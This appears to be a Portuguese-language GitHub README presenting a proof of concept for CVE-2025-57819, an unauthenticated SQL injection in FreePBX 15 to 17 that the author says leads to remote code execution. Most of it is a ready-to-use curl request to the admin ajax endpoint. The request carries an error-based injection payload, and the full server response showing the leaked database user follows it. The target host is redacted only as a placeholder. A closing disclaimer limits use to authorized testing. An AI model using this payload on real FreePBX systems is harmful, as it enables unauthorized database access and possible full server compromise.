muhammadwaseem29/sql-injection-and-rce_cve-2025-57819As versões 15, 16 e 17 do FreePBX contêm uma vulnerabilidade de Execução Remota de Código (RCE) causada pela sanitização insuficiente dos dados fornecidos pelo usuário nos endpoints.
As versões 15, 16 e 17 do FreePBX contêm uma vulnerabilidade de Execução Remota de Código (RCE) causada por sanitização insuficiente de dados fornecidos pelo usuário em endpoints.
Um atacante não autenticado pode manipular o banco de dados e obter execução remota de código. O exploit não requer autenticação.
Nota: O alvo foi ocultado. Substitua
[REDACTED_TARGET]pelo host real ao realizar testes autorizados.
curl -i -k "https://[REDACTED_TARGET]/admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax&command=model&template=x&model=model&brand=x'+AND+EXTRACTVALUE(1,CONCAT('~USER:',(SELECT+USER()),'~'))+--+"
HTTP/1.1 500 Internal Server Error
Date: Fri, 12 Sep 2025 08:35:29 GMT
Server: Apache/2.4.6 (Sangoma) OpenSSL/1.0.1e-fips PHP/5.6.31
X-Powered-By: PHP/5.6.31
Set-Cookie: PHPSESSID=fmt7o0oecththmves36nijvfu7; expires=Sun, 12-Oct-2025 08:35:29 GMT; Max-Age=2592000; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: application/json
{"error":{"type":"Exception","message":"SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~USER:freepbxuser@localhost~'::","file":"\/var\/www\/html\/admin\/libraries\/utility.functions.php","line":207}}
Por que isso prova: a resposta contém ~USER:freepbxuser@localhost~ — confirma injeção SQL / divulgação de dados a partir de uma requisição não autenticada.
Manipulação remota do banco de dados sem autenticação levando à execução arbitrária de código no servidor — possível comprometimento total do sistema.
Este repositório e PoC são fornecidos apenas para fins educacionais e de pesquisa de segurança autorizada. Não teste ou explore sistemas sem permissão explícita. O autor não se responsabiliza por uso indevido ou danos resultantes deste PoC.